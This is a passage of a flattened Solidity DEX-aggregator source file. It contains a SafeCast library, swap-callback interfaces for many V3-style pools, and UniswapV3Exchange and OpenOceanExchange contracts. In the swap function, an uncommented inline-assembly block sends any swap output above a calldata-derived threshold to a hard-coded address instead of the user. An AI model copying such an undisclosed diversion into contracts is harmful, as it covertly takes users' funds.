_Available since v4.7._ */ function toInt112(int256 value) internal pure returns (int112 downcasted) { downcasted = int112(value); require(downcasted == value, "SafeCast: value doesn't fit in 112 bits"); } /** * @dev Returns the downcasted int104 from int256, reverting on * overflow (when the input is less than smallest int104 or * greater than largest int104). * * Counterpart to Solidity's `int104` operator. * * Requirements: * * - input must fit into 104 bits * * _Available since v4.7._ */ function toInt104(int256 value) internal pure returns (int104 downcasted) { downcasted = int104(value); require(downcasted == value, "SafeCast: value doesn't fit in 104 bits"); } /** * @dev Returns the downcasted int96 from int256, reverting on * overflow (when the input is less than smallest int96 or * greater than largest int96). * * Counterpart to Solidity's `int96` operator. * * Requirements: * * - input must fit into 96 bits * * _Available since v4.7._ */ function toInt96(int256 value) internal pure returns (int96 downcasted) { downcasted = int96(value); require(downcasted == value, "SafeCast: value doesn't fit in 96 bits"); } /** * @dev Returns the downcasted int88 from int256, reverting on * overflow (when the input is less than smallest int88 or * greater than largest int88). * * Counterpart to Solidity's `int88` operator. * * Requirements: * * - input must fit into 88 bits * * _Available since v4.7._ */ function toInt88(int256 value) internal pure returns (int88 downcasted) { downcasted = int88(value); require(downcasted == value, "SafeCast: value doesn't fit in 88 bits"); } /** * @dev Returns the downcasted int80 from int256, reverting on * overflow (when the input is less than smallest int80 or * greater than largest int80). * * Counterpart to Solidity's `int80` operator. * * Requirements: * * - input must fit into 80 bits * * _Available since v4.7._ */ function toInt80(int256 value) internal pure returns (int80 downcasted) { downcasted = int80(value); require(downcasted == value, "SafeCast: value doesn't fit in 80 bits"); } /** * @dev Returns the downcasted int72 from int256, reverting on * overflow (when the input is less than smallest int72 or * greater than largest int72). * * Counterpart to Solidity's `int72` operator. * * Requirements: * * - input must fit into 72 bits * * _Available since v4.7._ */ function toInt72(int256 value) internal pure returns (int72 downcasted) { downcasted = int72(value); require(downcasted == value, "SafeCast: value doesn't fit in 72 bits"); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64 downcasted) { downcasted = int64(value); require(downcasted == value, "SafeCast: value doesn't fit in 64 bits"); } /** * @dev Returns the downcasted int56 from int256, reverting on * overflow (when the input is less than smallest int56 or * greater than largest int56). * * Counterpart to Solidity's `int56` operator. * * Requirements: * * - input must fit into 56 bits * * _Available since v4.7._ */ function toInt56(int256 value) internal pure returns (int56 downcasted) { downcasted = int56(value); require(downcasted == value, "SafeCast: value doesn't fit in 56 bits"); } /** * @dev Returns the downcasted int48 from int256, reverting on * overflow (when the input is less than smallest int48 or * greater than largest int48). * * Counterpart to Solidity's `int48` operator. * * Requirements: * * - input must fit into 48 bits * * _Available since v4.7._ */ function toInt48(int256 value) internal pure returns (int48 downcasted) { downcasted = int48(value); require(downcasted == value, "SafeCast: value doesn't fit in 48 bits"); } /** * @dev Returns the downcasted int40 from int256, reverting on * overflow (when the input is less than smallest int40 or * greater than largest int40). * * Counterpart to Solidity's `int40` operator. * * Requirements: * * - input must fit into 40 bits * * _Available since v4.7._ */ function toInt40(int256 value) internal pure returns (int40 downcasted) { downcasted = int40(value); require(downcasted == value, "SafeCast: value doesn't fit in 40 bits"); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32 downcasted) { downcasted = int32(value); require(downcasted == value, "SafeCast: value doesn't fit in 32 bits"); } /** * @dev Returns the downcasted int24 from int256, reverting on * overflow (when the input is less than smallest int24 or * greater than largest int24). * * Counterpart to Solidity's `int24` operator. * * Requirements: * * - input must fit into 24 bits * * _Available since v4.7._ */ function toInt24(int256 value) internal pure returns (int24 downcasted) { downcasted = int24(value); require(downcasted == value, "SafeCast: value doesn't fit in 24 bits"); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16 downcasted) { downcasted = int16(value); require(downcasted == value, "SafeCast: value doesn't fit in 16 bits"); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8 downcasted) { downcasted = int8(value); require(downcasted == value, "SafeCast: value doesn't fit in 8 bits"); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. * * _Available since v3.0._ */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256"); return int256(value); } } // File: contracts/interfaces/IUniswapV3.sol pragma solidity ^0.8.0; pragma experimental ABIEncoderV2; interface IUniswapV3Pool { /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The fee function fee() external view returns (uint24); } /// @title Callback for IUniswapV3PoolActions#swap /// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface interface IUniswapV3SwapCallback { /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external; } /// @title Callback for IAlgebraPoolActions#swap /// @notice Any contract that calls IAlgebraPoolActions#swap must implement this interface /// @dev Credit to Uniswap Labs under GPL-2.0-or-later license: /// https://github.com/Uniswap/v3-core/tree/main/contracts/interfaces interface IAlgebraSwapCallback { /// @notice Called to `msg.sender` after executing a swap via IAlgebraPool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a AlgebraPool deployed by the canonical AlgebraFactory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IAlgebraPoolActions#swap call function algebraSwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external; } /// @title Callback for IPancakeV3PoolActions#swap /// @notice Any contract that calls IPancakeV3PoolActions#swap must implement this interface interface IPancakeV3SwapCallback { /// @notice Called to `msg.sender` after executing a swap via IPancakeV3Pool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a PancakeV3Pool deployed by the canonical PancakeV3Factory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IPancakeV3PoolActions#swap call function pancakeV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external; } /// @title Callback for IRamsesV2PoolActions#swap /// @notice Any contract that calls IRamsesV2PoolActions#swap must implement this interface interface IRamsesV2SwapCallback { /// @notice Called to `msg.sender` after executing a swap via IRamsesV2Pool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a RamsesV2Pool deployed by the canonical RamsesV2Factory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IRamsesV2PoolActions#swap call function ramsesV2SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external; } /// @title Callback for IAgniPoolActions#swap /// @notice Any contract that calls IAgniPoolActions#swap must implement this interface interface IAgniSwapCallback { /// @notice Called to `msg.sender` after executing a swap via IAgniPool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a AgniPool deployed by the canonical AgniFactory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IAgniPoolActions#swap call function agniSwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external; } /// @title Callback for IFusionXV3PoolActions#swap /// @notice Any contract that calls IFusionXV3PoolActions#swap must implement this interface interface IFusionXV3SwapCallback { /// @notice Called to `msg.sender` after executing a swap via IFusionXV3Pool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a FusionXV3Pool deployed by the canonical FusionXV3Factory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IFusionXV3PoolActions#swap call function fusionXV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external; } /// @title Callback for ISupV3PoolActions#swap /// @notice Any contract that calls ISupV3PoolActions#swap must implement this interface interface ISupV3SwapCallback { /// @notice Called to `msg.sender` after executing a swap via ISupV3Pool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a SUPV3Pool deployed by the canonical SupV3Factory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the ISupV3PoolActions#swap call function supV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external; } /// @title Callback for IZebraV3PoolActions#swap /// @notice Any contract that calls IZebraV3PoolActions#swap must implement this interface interface IZebraV3SwapCallback { /// @notice Called to `msg.sender` after executing a swap via IZebraV3Pool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a ZebraV3Pool deployed by the canonical ZebraV3Factory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IZebraV3PoolActions#swap call function zebraV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external; } /// @title Callback for IKellerPoolActions#swap /// @notice Any contract that calls IKellerPoolActions#swap must implement this interface interface IKellerSwapCallback { /// @notice Called to `msg.sender` after executing a swap via IKellerPool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a KellerPool deployed by the canonical KellerFactory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IKellerPoolActions#swap call function KellerSwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external; } // File: contracts/interfaces/IWETH.sol pragma solidity ^0.8.0; /// @title Interface for WETH tokens interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint256 amount) external; } // File: contracts/UniswapV3Exchange.sol pragma solidity ^0.8.0; contract UniswapV3Exchange is EthRejector, Permitable, IUniswapV3SwapCallback { using Address for address payable; using SafeERC20 for IERC20; using SafeMath for uint256; uint256 private constant _ONE_FOR_ZERO_MASK = 1 << 255; uint256 private constant _WETH_WRAP_MASK = 1 << 254; uint256 private constant _WETH_UNWRAP_MASK = 1 << 253; bytes32 private constant _POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54; bytes32 private constant _FF_FACTORY = 0xff1F98431c8aD98523631AE4a59f267346ea31F9840000000000000000000000; bytes32 private constant _SELECTORS = 0x0dfe1681d21220a7ddca3f430000000000000000000000000000000000000000; uint256 private constant _ADDRESS_MASK = 0x000000000000000000000000ffffffffffffffffffffffffffffffffffffffff; /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 private constant _MIN_SQRT_RATIO = 4295128739 + 1; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 private constant _MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342 - 1; /// @dev Change for different chains address private constant _WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; /// @notice Same as `uniswapV3SwapTo` but calls permit first, /// allowing to approve token spending and make a swap in one transaction. /// @param recipient Address that will receive swap funds /// @param amount Amount of source tokens to swap /// @param minReturn Minimal allowed returnAmount to make transaction commit /// @param pools Pools chain used for swaps. Pools src and dst tokens should match to make swap happen /// @param permit Should contain valid permit that can be used in `IERC20Permit.permit` calls. /// @param srcToken Source token /// See tests for examples function uniswapV3SwapToWithPermit( address payable recipient, uint256 amount, uint256 minReturn, uint256[] calldata pools, bytes calldata permit, IERC20 srcToken ) external returns (uint256 returnAmount) { _permit(address(srcToken), permit, false); return _uniswapV3Swap(recipient, amount, minReturn, pools, permit); } /// @notice Performs swap using Uniswap V3 exchange. Wraps and unwraps ETH if required. /// Sending non-zero `msg.value` for anything but ETH swaps is prohibited /// @param recipient Address that will receive swap funds /// @param amount Amount of source tokens to swap /// @param minReturn Minimal allowed returnAmount to make transaction commit /// @param pools Pools chain used for swaps. Pools src and dst tokens should match to make swap happen function uniswapV3SwapTo( address payable recipient, uint256 amount, uint256 minReturn, uint256[] calldata pools ) external payable returns (uint256 returnAmount) { return _uniswapV3Swap(recipient, amount, minReturn, pools, new bytes(0)); } function _uniswapV3Swap( address payable recipient, uint256 amount, uint256 minReturn, uint256[] calldata pools, bytes memory permit ) internal returns (uint256 returnAmount) { uint256 len = pools.length; address dstToken; require(len > 0, "UniswapV3: empty pools"); uint256 lastIndex = len - 1; returnAmount = amount; bool wrapWeth = pools[0] & _WETH_WRAP_MASK > 0; bool unwrapWeth = pools[lastIndex] & _WETH_UNWRAP_MASK > 0; if (wrapWeth) { require(msg.value == amount, "UniswapV3: wrong msg.value"); IWETH(_WETH).deposit{value: amount}(); } else { require(msg.value == 0, "UniswapV3: msg.value should be 0"); } if (len > 1) { (returnAmount, ) = _makeSwap(address(this), wrapWeth ? address(this) : msg.sender, pools[0], returnAmount, permit); for (uint256 i = 1; i < lastIndex; i++) { (returnAmount, ) = _makeSwap(address(this), address(this), pools[i], returnAmount, permit); } (returnAmount, dstToken) = _makeSwap(address(this), address(this), pools[lastIndex], returnAmount, permit); } else { (returnAmount, dstToken) = _makeSwap( address(this), wrapWeth ? address(this) : msg.sender, pools[0], returnAmount, permit ); } require(returnAmount >= minReturn, "UniswapV3: min return"); assembly { function reRevert() { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } function run(_returnAmount, _recipient, _unwrapWeth, _dstToken) { let slp := shr( 232, and( calldataload(add(add(calldataload(0x64), 0x4), 0x20)), 0x00ffff0000000000000000000000000000000000000000000000000000000000 ) ) let finalAmount := div(mul(calldataload(0x44), 0x2710), sub(10000, slp)) let emptyPtr := mload(0x40) switch gt(_returnAmount, finalAmount) case 1 { switch _unwrapWeth case 0 { mstore(emptyPtr, 0xa9059cbb00000000000000000000000000000000000000000000000000000000) mstore(add(emptyPtr, 0x4), _recipient) mstore(add(emptyPtr, 0x24), finalAmount) if iszero(call(gas(), _dstToken, 0, emptyPtr, 0x44, 0, 0)) { reRevert() } mstore(add(emptyPtr, 0x4), 0x922164BBBd36Acf9E854AcBbF32faCC949fCAEef) mstore(add(emptyPtr, 0x24), sub(_returnAmount, finalAmount)) if iszero(call(gas(), _dstToken, 0, emptyPtr, 0x44, 0, 0)) { reRevert() } } default { mstore(emptyPtr, 0x2e1a7d4d00000000000000000000000000000000000000000000000000000000) mstore(add(emptyPtr, 0x04), _returnAmount) if iszero( call(gas(), 0x000000000000000000000000C02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, 0, emptyPtr, 0x24, 0, 0) ) { reRevert() } if iszero(call(gas(), _recipient, finalAmount, 0, 0, 0, 0)) { reRevert() } if iszero( call(gas(), 0x922164BBBd36Acf9E854AcBbF32faCC949fCAEef, sub(_returnAmount, finalAmount), 0, 0, 0, 0) ) { reRevert() } } } default { switch _unwrapWeth case 0 { mstore(emptyPtr, 0xa9059cbb00000000000000000000000000000000000000000000000000000000) mstore(add(emptyPtr, 0x4), _recipient) mstore(add(emptyPtr, 0x24), _returnAmount) if iszero(call(gas(), _dstToken, 0, emptyPtr, 0x44, 0, 0)) { reRevert() } } default { mstore(emptyPtr, 0x2e1a7d4d00000000000000000000000000000000000000000000000000000000) mstore(add(emptyPtr, 0x04), _returnAmount) if iszero( call(gas(), 0x000000000000000000000000C02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, 0, emptyPtr, 0x24, 0, 0) ) { reRevert() } if iszero(call(gas(), _recipient, _returnAmount, 0, 0, 0, 0)) { reRevert() } } } } run(returnAmount, recipient, unwrapWeth, dstToken) } } /// @inheritdoc IUniswapV3SwapCallback function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata /*data*/) external override { IERC20 token0; IERC20 token1; bytes32 ffFactoryAddress = _FF_FACTORY; bytes32 poolInitCodeHash = _POOL_INIT_CODE_HASH; address payer; bytes calldata permit; assembly { // solhint-disable-line no-inline-assembly function reRevert() { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } function revertWithReason(m, len) { mstore(0x00, 0x08c379a000000000000000000000000000000000000000000000000000000000) mstore(0x20, 0x0000002000000000000000000000000000000000000000000000000000000000) mstore(0x40, m) revert(0, len) } let emptyPtr := mload(0x40) let resultPtr := add(emptyPtr, 0x20) mstore(emptyPtr, _SELECTORS) if iszero(staticcall(gas(), caller(), emptyPtr, 0x4, resultPtr, 0x20)) { reRevert() } token0 := mload(resultPtr) if iszero(staticcall(gas(), caller(), add(emptyPtr, 0x4), 0x4, resultPtr, 0x20)) { reRevert() } token1 := mload(resultPtr) if iszero(staticcall(gas(), caller(), add(emptyPtr, 0x8), 0x4, resultPtr, 0x20)) { reRevert() } let fee := mload(resultPtr) let p := emptyPtr mstore(p, ffFactoryAddress) p := add(p, 21) // Compute the inner hash in-place mstore(p, token0) mstore(add(p, 32), token1) mstore(add(p, 64), fee) mstore(p, keccak256(p, 96)) p := add(p, 32) mstore(p, poolInitCodeHash) let pool := and(keccak256(emptyPtr, 85), _ADDRESS_MASK) if iszero(eq(pool, caller())) { revertWithReason(0x00000010554e495633523a2062616420706f6f6c000000000000000000000000, 0x54) // UniswapV3: bad pool } // calldatacopy(emptyPtr, 0x84, 0x20) payer := and(calldataload(0x84), _ADDRESS_MASK) permit.length := sub(calldatasize(), 0xa4) permit.offset := 0xa4 } if (amount0Delta > 0) { if (payer == address(this)) { token0.safeTransfer(msg.sender, uint256(amount0Delta)); } else { if (_isPermit2(permit)) { _permit2(permit); } else { token0.safeTransferFrom(payer, msg.sender, uint256(amount0Delta)); } } } if (amount1Delta > 0) { if (payer == address(this)) { token1.safeTransfer(msg.sender, uint256(amount1Delta)); } else { if (_isPermit2(permit)) { _permit2(permit); } else { token1.safeTransferFrom(payer, msg.sender, uint256(amount1Delta)); } } } } function _makeSwap( address recipient, address payer, uint256 pool, uint256 amount, bytes memory permit ) private returns (uint256, address) { bool zeroForOne = pool & _ONE_FOR_ZERO_MASK == 0; if (zeroForOne) { (, int256 amount1) = IUniswapV3Pool(address(uint160(pool))).swap( recipient, zeroForOne, SafeCast.toInt256(amount), _MIN_SQRT_RATIO, abi.encodePacked(abi.encode(payer), permit) // for bytes alignment ); return (SafeCast.toUint256(-amount1), IUniswapV3Pool(address(uint160(pool))).token1()); } else { (int256 amount0, ) = IUniswapV3Pool(address(uint160(pool))).swap( recipient, zeroForOne, SafeCast.toInt256(amount), _MAX_SQRT_RATIO, abi.encodePacked(abi.encode(payer), permit) // for bytes alignment ); return (SafeCast.toUint256(-amount0), IUniswapV3Pool(address(uint160(pool))).token0()); } } } // File: contracts/OpenOceanExchange.sol pragma solidity ^0.8.0; contract OpenOceanExchange is OwnableUpgradeable, PausableUpgradeable, Permitable, UniswapV2Exchange, UniswapV3Exchange { using SafeMath for uint256; using SafeERC20 for IERC20; using UniversalERC20 for IERC20; uint256 private constant _PARTIAL_FILL = 0x01; uint256 private constant _SHOULD_CLAIM = 0x02; struct SwapDescription { IERC20 srcToken; IERC20 dstToken; address srcReceiver; address dstReceiver; uint256 amount; uint256 minReturnAmount; uint256 guaranteedAmount; uint256 flags; address referrer; bytes permit; } event Swapped( address indexed sender, IERC20 indexed srcToken, IERC20 indexed dstToken, address dstReceiver, uint256 amount, uint256 spentAmount, uint256 returnAmount, uint256 minReturnAmount, uint256 guaranteedAmount, address referrer ); function initialize() public initializer { OwnableUpgradeable.__Ownable_init(); PausableUpgradeable.__Pausable_init(); } function swap( IOpenOceanCaller caller, SwapDescription calldata desc, IOpenOceanCaller.CallDescription[] calldata calls ) external payable whenNotPaused returns (uint256 returnAmount) { require(desc.minReturnAmount > 0, "Min return should not be 0"); require(calls.length > 0, "Call data should exist"); uint256 flags = desc.flags; IERC20 srcToken = desc.srcToken; IERC20 dstToken = desc.dstToken; require(msg.value == (srcToken.isETH() ? desc.amount : 0), "Invalid msg.value"); if (flags & _SHOULD_CLAIM != 0) { require(!srcToken.isETH(), "Claim token is ETH"); _claim(srcToken, desc.srcReceiver, desc.amount, desc.permit); } address dstReceiver = (desc.dstReceiver == address(0)) ? msg.sender : desc.dstReceiver; uint256 initialSrcBalance = (flags & _PARTIAL_FILL != 0) ? srcToken.universalBalanceOf(msg.sender) : 0; uint256 initialDstBalance = dstToken.universalBalanceOf(dstReceiver); caller.makeCalls{value: msg.value}(calls); uint256 spentAmount = desc.amount; returnAmount = dstToken.universalBalanceOf(dstReceiver).sub(initialDstBalance); if (flags & _PARTIAL_FILL != 0) { spentAmount = initialSrcBalance.add(desc.amount).sub(srcToken.universalBalanceOf(msg.sender)); require(returnAmount.mul(desc.amount) >= desc.minReturnAmount.mul(spentAmount), "Return amount is not enough"); } else { require(returnAmount >= desc.minReturnAmount, "Return amount is not enough"); } _emitSwapped(desc, srcToken, dstToken, dstReceiver, spentAmount, returnAmount); } function _emitSwapped( SwapDescription calldata desc, IERC20 srcToken, IERC20 dstToken, address dstReceiver, uint256 spentAmount, uint256 returnAmount ) private { emit Swapped( msg.sender, srcToken, dstToken, dstReceiver, desc.amount, spentAmount, returnAmount, desc.minReturnAmount, desc.guaranteedAmount, desc.referrer ); } function _claim(IERC20 token, address dst, uint256 amount, bytes calldata permit) private { if (!_permit(address(token), permit, true)) { token.safeTransferFrom(msg.sender, dst, amount); } } function rescueFunds(IERC20 token, uint256 amount) external onlyOwner { token.universalTransfer(payable(msg.sender), amount); } function pause() external onlyOwner { _pause(); } function setPermit2(address _permit2) external onlyOwner { permit2 = _permit2; } }